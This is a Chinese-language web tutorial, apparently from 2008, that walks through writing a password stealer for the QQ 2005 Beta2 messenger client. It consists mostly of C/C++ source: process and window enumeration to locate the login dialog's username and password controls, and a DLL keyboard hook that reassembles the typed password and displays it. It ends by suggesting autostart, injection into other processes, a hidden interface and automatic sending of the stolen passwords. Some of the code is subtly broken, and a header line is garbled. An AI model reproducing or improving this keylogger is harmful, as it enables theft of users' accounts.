编程实现盗2005 Beta2版QQ
2008-03-08 21:39:54 来源:WEB开发网 闂傚倸鍊搁崐鎼佸磹閹间礁纾归柟闂寸绾惧綊鏌熼梻瀵割槮缁炬儳缍婇弻鐔兼⒒鐎靛壊妲紒鐐劤缂嶅﹪寮婚悢鍏尖拻閻庨潧澹婂Σ顔剧磼閻愵剙鍔ょ紓宥咃躬瀵鎮㈤崗灏栨嫽闁诲酣娼ф竟濠偽i鍓х<闁绘劦鍓欓崝銈囩磽瀹ュ拑韬€殿喖顭烽幃銏ゅ礂鐏忔牗瀚介梺璇查叄濞佳勭珶婵犲伣锝夘敊閸撗咃紲闂佺粯鍔﹂崜娆撳礉閵堝洨纾界€广儱鎷戦煬顒傗偓娈垮枛椤兘骞冮姀銈呯閻忓繑鐗楃€氫粙姊虹拠鏌ュ弰婵炰匠鍕彾濠电姴浼i敐澶樻晩闁告挆鍜冪床闂備浇顕栭崹搴ㄥ礃閿濆棗鐦遍梻鍌欒兌椤㈠﹤鈻嶉弴銏犵闁搞儺鍓欓悘鎶芥煛閸愩劎澧曠紒鈧崘鈹夸簻闊洤娴烽ˇ锕€霉濠婂牏鐣洪柡灞诲妼閳规垿宕卞▎蹇撴瘓缂傚倷闄嶉崝搴e垝椤栫偛桅闁告洦鍨扮粻鎶芥倵閿濆簼绨藉ù鐘荤畺濮婃椽妫冨☉娆愭倷闁诲孩鐭崡鎶芥偘椤曗偓瀹曞爼顢楁径瀣珫婵犳鍣徊鍓р偓绗涘洤绠查柛銉墮閽冪喖鏌i弬鎸庢喐闁荤喎缍婇弻娑⑩€﹂幋婵囩亪濡炪値鍓欓悧鍡涒€旈崘顔嘉ч幖绮光偓鑼嚬缂傚倷绶¢崰妤呭箰閹间焦鍋╅柣鎴f绾偓闂佺粯鍔曠粔闈浳涢崘顔兼槬闁逞屽墯閵囧嫰骞掗幋婵愪紑閻庤鎸风粈渚€鍩為幋锔藉亹闁圭粯甯╂导鈧紓浣瑰劤瑜扮偟鍒掑▎鎾宠摕婵炴垶鐭▽顏堟煙鐟欏嫬濮囨い銉︾箞濮婃椽鏌呴悙鑼跺濠⒀傚嵆閺岀喖鎼归锝呯3闂佹寧绻勯崑娑㈠煘閹寸姭鍋撻敐搴樺亾椤撴稒娅婇柡灞界У濞碱亪骞忕仦钘夊腐闂備焦鐪归崐鏇㈠箠閹邦喗顫曢柟鎯х摠婵挳鏌涢幘鏉戠祷闁告挸宕—鍐Χ閸℃浠搁梺鑽ゅ暱閺呮盯鎮鹃悜钘壩ㄧ憸澶愬磻閹剧粯鏅查幖绮瑰墲閻忓秹姊虹紒妯诲鞍婵炲弶锕㈡俊鐢稿礋椤栨氨鐤€闂傚倸鐗婄粙鎰姳閼测晝纾藉ù锝堟閻撴劖鎱ㄥΟ绋垮婵″弶鍔欓獮妯兼嫚閼碱剦妲伴梻浣稿暱閹碱偊宕愭繝姣稿洭寮舵惔鎾存杸濡炪倖姊婚妴瀣啅閵夛负浜滄い鎾跺仜濡插鏌i敐鍥у幋妤犵偞甯¢獮瀣籍閳ь剟鎮楁繝姘拺閻熸瑥瀚崕妤呮煕濡 鍋撻悢鎻掑緧婵犵數濮烽弫鍛婃叏閻戣棄鏋侀柛娑橈攻閸欏繑銇勯幘鍗炵仼缁炬儳顭烽弻鐔煎礈瑜忕敮娑㈡煃闁垮鐏﹂柕鍥у楠炴帡宕卞鎯ь棜缂傚倸鍊风粈渚€藝闁秴鏋佸┑鐘虫皑瀹撲線鏌涢埄鍐姇闁稿﹦鍏橀弻娑樷攽閸℃浼€濡炪倖姊归崝鏇㈠煘閹达附鍊婚柛銉㈡櫇鏍¢梻浣告啞閹稿鎮烽敂鐣屸攳濠电姴娲﹂崵鍐煃閸濆嫬鏆熼柨娑欑矒濮婇缚銇愰幒鎴滃枈闂佸憡鐟ユ鎼佸煝閹炬枼鍫柛顐ゅ枔閸樻悂鏌h箛鏇炰户缁绢厼鐖煎畷鎴﹀箻鐠囪尙鐤€婵炶揪绲介幉锟犲磹椤栫偞鈷戠痪顓炴噹娴滃綊鎮跺☉鏍у姦闁糕斁鍋撳銈嗗笒閸燁偊鎯冨ú顏呯厸濞达絽婀辨晶顏堟煃鐟欏嫬鐏撮柟顔界懇瀵爼骞嬮悩杈敇闂傚倷绀佸﹢杈ㄧ仚闂佺濮ょ划搴ㄥ礆閹烘绫嶉柛顐ゅ枎娴犺櫣绱撴担鍓插創妞ゆ洘濞婇弫鍐磼濞戞艾骞堥梻浣告惈濞层垽宕濆畝鍕€堕柣妯肩帛閻撴洟鏌熼懜顒€濡煎ù婊勫劤閳规垿鏁嶉崟顐℃澀闂佺ǹ锕ラ悧鐘茬暦濠靛鏅濋柍褜鍓熼垾锕傚锤濡も偓閻掑灚銇勯幒宥堝厡缂佺姴澧介埀顒€鍘滈崑鎾斥攽閻樿京绐旈柛瀣殔閳规垿顢欑涵鐑界反濠电偛鎷戠徊鍨i幇鏉跨闁瑰啿纾崰鎾诲箯閻樼粯鍤戦柤绋跨仛濮f劙姊婚崒姘偓鐑芥嚄閼哥數浠氭繝鐢靛仜椤曨參宕楀Ο渚殨妞ゆ劑鍊栫€氭氨鈧懓澹婇崰鏍р枔閵婏妇绡€闁汇垽娼ф牎缂佺偓婢樼粔鐟邦嚕閺屻儱绠甸柟鐑樼箘閸炵敻鏌i悩鐑橆仩閻忓繈鍔岄蹇涘Ψ瑜夐崑鎾舵喆閸曨剙纰嶅┑鈽嗗亝缁诲倿锝炶箛娑欐優闁革富鍘鹃敍婊冣攽閳藉棗鐏犻柟纰卞亰閿濈偛顓奸崶鈺冿紳婵炶揪缍侀ˉ鎾诲礉瀹ュ鐓欑紒瀣仢閺嗛亶鏌i敐鍥у幋妤犵偛顑夐弫鍐焵椤掑倻涓嶅┑鐘崇閸嬶綁鏌涢妷鎴濆暟妤犲洭鎮楃憴鍕碍缂佸鎸抽垾鏃堝礃椤斿槈褔鏌涢埄鍏狀亪妫勫鍥╃=濞达絽澹婇崕鎰版煕閵娿儱顣崇紒顔碱儏椤撳吋寰勭€n亖鍋撻柨瀣ㄤ簻闁瑰搫绉堕ˇ锔锯偓娈垮枛閻忔繈鍩為幋锕€鐓¢柛鈩冾殘娴狀垶姊洪崨濠庣劶闁告洦鍙庡ú鍛婁繆閵堝繒鍒伴柛鐕佸灦瀹曟劙宕归锝呭伎濠碘槅鍨抽崢褎绂嶆ィ鍐╁€垫慨妯煎亾鐎氾拷

核心提示:一、思路分析(一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程 (一) 定义宏 (二) 枚举进程找到QQ.exe (三) 枚举所有窗口,找属于QQ.exe的窗口 (四) 获取用户名、密码、登陆按钮的句柄 (五) 创建钩子用的DLL (六) 安装钩子一直以来我对盗QQ这种技术都比较的
一、思路分析 (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程
(一) 定义宏
(二) 枚举进程找到QQ.exe
(三) 枚举所有窗口,找属于QQ.exe的窗口
(四) 获取用户名、密码、登陆按钮的句柄
(五) 创建钩子用的DLL
(六) 安装钩子
一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:

本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。 一、 思路分析
一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。 (一) 数据包的角度
从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。 (二) 钩子角度
平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。 1. 钩子简介
钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:

2. 程序流程
Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:

从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:



有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的要害代码:
//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密码控件文本框的ID
#define QQLoginPassWordId 0x000000B4
//登陆按扭的ID
#define QQLoginButtonId 0x00003EA0 (二) 枚举进程找到QQ.exe
//定义PROCESSENTRY32结构
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("进程快照失败!\n");
return -1;
}
BOOL bRet;
//遍历进程快照,轮流显示每个进程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
//这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。
BOOL bRet;
//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚举所有窗口失败!\n");
return -1;
}
}
}
这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。 (三) 枚举所有窗口,找属于QQ.exe的窗口
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == NULL)
{
return FALSE;
}
DWORD dwQQProcessID;
dwQQProcessID = (DWORD)lParam;
GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);
//假如创建QQ.exe的进程等于创建窗口的进程
if(dwQQProcessID == dwCreateWindowProcessID)
{
LONG lWindowStyle;
//找到窗口的风格
lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);
//假如条件成立,表示当前窗口为登陆窗口
if(lWindowStyle == QQLoginDlgNormalStyle
lWindowStyle == QQLoginDlgMiniStyle)
{
//保存登陆窗口的句柄
hLoginWindow = hwnd;
}
}
return TRUE;
}
该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。 (四) 获取用户名、密码、登陆按钮的句柄
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == FALSE)
{
return FALSE;
}
LONG lID;
//取得所有子窗口的ID
lID = GetWindowLong(hwnd, GWL_ID);
//该句表示找到用户名的句柄
if(lID == QQLoginUserNameId)
{
hUserName = hwnd;
}
else if(lID == QQLoginPasswordId)
{
hUserPwd = hwnd;
}
else if(lID == QQLoginButtonId)
{
hLoginButton = hwnd;
}
return TRUE;
} 注重:以上回调函数用到了三个变量,别忘了在顶部定义哦! //用户名、密码、登陆按钮的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton; (五) 创建钩子用的DLL
1. 申明函数
新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:
#define QQHookLIB_API __declspec(dlleXPort)
//声明要导出的函数
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID); 2. 申明共享数据段以及导出函数
选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:
EXPORTS SetKeyBoardHook
SECTIONS
QQSpyShare Read Write Shared
这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。 3. DLL主要代码
接下来在QQHook.cpp文件中添加如下代码: //共享数据段,注重要初始化
#pragma data_seg("QQSpyShare")
HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄
HHOOK g_hMessageHook = NULL; //消息钩子句柄
HHOOK g_hKeyBoardHook = NULL; //键盘钩子句柄
HWND hQQLoginUserName = NULL;
HWND hQQLoginUserPwd = NULL;
HWND hQQLoginButton = NULL;
#pragma data_seg() //安装键盘钩子函数
BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID)
{
BOOL bResult; if(bInstall)
{
//保存用户名的句柄
hQQLoginUserName = hUserName;
//保存密码的句柄
hQQLoginUserPwd = hUserPwd;
//保存登陆QQ按钮的句柄
hQQLoginButton = hLoginButton;
//保存登陆窗口的句柄
g_hLoginWindowWnd = hLoginWindow;
//登陆窗口的主线程,安装钩子的时候要用
DWORD dwCreateLoginWindowThreadId;
dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);
//在登陆窗口主线程上安装钩子
g_hKeyBoardHook = SetWindowsHookEx(
WH_KEYBOARD, //安装键盘钩子
(HOOKPROC)KeyBoardProc, //键盘钩子回调函数
hDll, //QQHook.dll模块句柄
dwCreateLoginWindowThreadId); //登陆窗口的主线程 if(g_hKeyBoardHook == NULL)
{
printf("键盘钩子安装失败!");
return FALSE;
}
else
{
printf("键盘钩子安装成功了!");
return TRUE;
}
}
else
{
//卸载钩子
bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
if(bResult == TRUE)
{
printf("键盘钩子卸载成功!");
return TRUE;
}
else
{
printf("键盘钩子卸载失败!");
return FALSE;
}
}
return TRUE;
} 以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码: //键盘钩子回调函数
LRESULT CALLBACK KeyBoardProc(int ncode,
WPARAM wParam,
LPARAM lParam
{
//创建一个缓冲区保存连起来的密码
static char buf[250] = {0};
//用于保存用户名框的内容
char cUserName[10];
ZeroMemory(cUserName, 10);
//用于保存用户在密码框上的每一个按键
char cUserPwd[30];
//假如按的键是回车键
if (wParam == VK_RETURN && lParam > 0)
{
//得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得
SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
} //假如不是按回车,并且是在密码框中输入
if (lParam > 0 && wParam != VK_RETURN &&
//当前输入框为密码框
hQQLoginUserPwd == GetFocus())
{
//记下密码框中输入的字符
GetKeyNameText(lParam, cUserPwd, 30); //以下代码把每一次按的键连起来形成一个完整的密码
static int index = 0;
if(index == 0)
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcpy(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcpy(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcpy(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcpy(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcpy(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcpy(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcpy(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcpy(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcpy(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcpy(buf,"0");
}
else
{
strcpy(buf,cUserPwd);
}
}
else
{
if(strcmp(cUserPwd,"Num 1") == 0)
{
strcat(buf,"1");
}
else if(strcmp(cUserPwd,"Num 2") == 0)
{
strcat(buf,"2");
}
else if(strcmp(cUserPwd,"Num 3") == 0)
{
strcat(buf,"3");
}
else if(strcmp(cUserPwd,"Num 4") == 0)
{
strcat(buf,"4");
}
else if(strcmp(cUserPwd,"Num 5") == 0)
{
strcat(buf,"5");
}
else if(strcmp(cUserPwd,"Num 6") == 0)
{
strcat(buf,"6");
}
else if(strcmp(cUserPwd,"Num 7") == 0)
{
strcat(buf,"7");
}
else if(strcmp(cUserPwd,"Num 8") == 0)
{
strcat(buf,"8");
}
else if(strcmp(cUserPwd,"Num 9") == 0)
{
strcat(buf,"9");
}
else if(strcmp(cUserPwd,"Num 0") == 0)
{
strcat(buf,"0");
}
else
{
strcat(buf,cUserPwd);
}
}
++index;
} //假如按的是回车,将上面得到的用户名和密码连在一起显示
if (wParam == VK_RETURN && lParam > 0)
{
char cAccount;
strcpy(&cAccount,"用户名:");
strcat(&cAccount,cUserName);
strcat(&cAccount,"\n密 码:");
strcat(&cAccount,buf);
strcat(&cAccount,"\nBy:∮明天去要饭");
//cAccount中保存了用户名和密码,想怎么处理就怎么处理
MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
}
return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
} 这里需要注重以下几个问题:
1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值假如想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。 2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。 3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。 4. 从这个回调函数可以知道,假如用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。 (六) 申明导出函数 (七) 安装钩子
上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
//用户名、密码、登陆按钮的句柄都不为空时安装钩子
hUserPwd != NULL &&
hLoginButton != NULL)
{
//得到DLL模块的句柄
hDll = GetModuleHandle("QQHook.dll");
if(hDll == NULL)
{
return FALSE;
}
//安装键盘钩子
bKeyBoardHook = SetKeyBoardHook(
TRUE,
hDll,
hLoginWindow,
hUserName,
hUserPwd,
hLoginButton,
dwCreateWindowProcessID);
if(bKeyBoardHook == FALSE)
{
printf("调用键盘钩子失败!");
return FALSE;
}
} 以上就是盗QQ程序的要害代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
1. 改进记录密码的代码。
2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
3. 设置成自动启动。
4. 注入到别的进程中。
5. 运行的时候没有界面,记录下来后自动发送密码。 由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,非凡要感谢兰陵笑笑生给我提供思路。
[]
更多精彩
赞助商链接